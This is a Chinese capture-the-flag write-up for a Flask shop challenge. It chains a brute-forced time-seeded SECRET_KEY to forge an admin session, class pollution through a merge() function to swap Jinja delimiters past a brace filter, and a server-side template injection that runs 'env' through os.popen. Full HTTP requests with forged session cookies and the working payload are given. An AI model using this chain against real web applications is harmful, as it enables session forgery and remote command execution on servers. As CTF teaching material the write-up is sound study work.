

题目给了源码先审计一下，可以看到有 `merge(src, dst)` 函数，那大概率就是会有原型链污染的点了，跟踪函数，可以发现在 `/products/<int:product_id>/edit` 路由下进行了调用。

但是需要 **admin** 权限，回到最开始，可以看到 **secret\_key**，是以只跟容器启动时的时间戳为种子生成，我们先注册账号拿到一个 **session** 直接用脚本爆破 **key** 就好

```
random.seed(int(time.time()))

secret_key =

''.join(random.choices('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
STUVWXYZ', k=32))

app.config['SECRET_KEY'] = secret_key
```

这时继续审计，可以看到 **flag** 的内容进行了 `render_template_string` 渲染

```
if product.is_flag:
    try:
        flag_display = getattr(app, 'flag_content', 'xxx')
        rendered_flag = render_template_string(
            str(flag_display),
            app=app,
            config=app.config,
            session=session,
            user=current_user,
            product=product
        )
    except Exception as e:
        rendered_flag = str(getattr(app, 'flag_content', 'xxx'))
```

而 **flag** 的内容我们可以通过污染进行修改，那么我们就可以实现 **sssti**

```

3
4 random.seed(int(time.time()))
5 secret_key = ''.join(random.choices('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', k=32))
6 app.config['SECRET_KEY'] = secret_key
7
8 app.flag_content = "xxxx"
9

```

不过这里存在 waf

过滤了{'},还有一些字符,因为这里先进行了 `json.loads` 导致不能通过 `Unicode` 编码来绕过了,但是,我们可以通过污染 `jinja` 语法来绕过这个限制,把{换成其他没有被过滤的就可以

最终流程就是，先爆破 `session_key` 再污染 `jingjia` 模板，最后污染 `flag_content` 的内容实现 `ssti`

## 爆破时间戳

```
[+] 时间戳: 1763381305
[+] 启动时间: 2025-11-17 20:08:25
[+] 距今: 32.5 分钟
[+] SECRET_KEY: prh9WljeqnWAg9dNykkh3n3wovT78hAi
[+] 解码内容: {'identity': 'guest', 'username': 'test_1763383251'}
[+] 尝试次数: 1951
[+] 耗时: 0.64 秒
[+] 速度: 3053.5 次/秒
```

污染环境变量

```
{
  "app": {
    "jinja_env": {
      "variable_start_string": "[[",
      "variable_end_string": "]]"
    }
  }
}
```

```
POST /products/0/update HTTP/1.1
Host: 47.98.117.93:46772
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101
Firefox/145.0
Accept: */*
Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://47.98.117.93:46772/products/0/edit
Content-Type: application/json
Content-Length: 97
Origin: http://47.98.117.93:46772
Connection: keep-alive
Cookie: session=
eyJpZGVudG10eSI6ImFkbWluIiwidXN1cm5hbWUiOiJhZG1pbiJ9.aRsWzA.Y2bxLywS923gfRD3L16emZJr
Priority: u=0

{
  "app": {
    "jinja_env": {
      "variable_start_string": "[[",
      "variable_end_string": "]]"
    }
  }
}
```

最后污染 flag\_content 通过 ssti 读环境变量

```
美化  Raw  Hex  MarkInfo  SignSaboteur
1 POST /products/0/update HTTP/1.1
2 Host: 47.98.117.93:46772
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101
  Firefox/145.0
4 Accept: */*
5 Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2
6 Accept-Encoding: gzip, deflate, br
7 Referer: http://47.98.117.93:46772/products/0/edit
8 Content-Type: application/json
9 Content-Length: 93
0 Origin: http://47.98.117.93:46772
1 Connection: keep-alive
2 Cookie: session=
  eyJpZGVudG10eSI6ImFkbWluIiwidXN1cm5hbWUiOiJhZGlpbiJ9.aRsWzA.Y2bxLywS923gfRD3L16emZ
3 Priority: u=0
4
5 {
6   "app": {
7     "flag_content": "[[lipsum['__glo'~'bals__'].os.popen('env').read()]]"
8   }
9 }
0 }
```

Content-Length: 0  
Origin: http://47.98.117.93:46772  
Connection: keep-alive  
Referer: http://47.98.117.93:46772/products?ts=1763383900596  
Cookie: session=  
JpZGVudG10eSI6ImdlZXN0IiwidXN1cm5hbWUiOiIxMjMifQ. aRsZ\_w. oH771PQBWiMsBJRyNPZLoAFJetY  
Upgrade-Insecure-Requests: 1  
Priority: u=0, i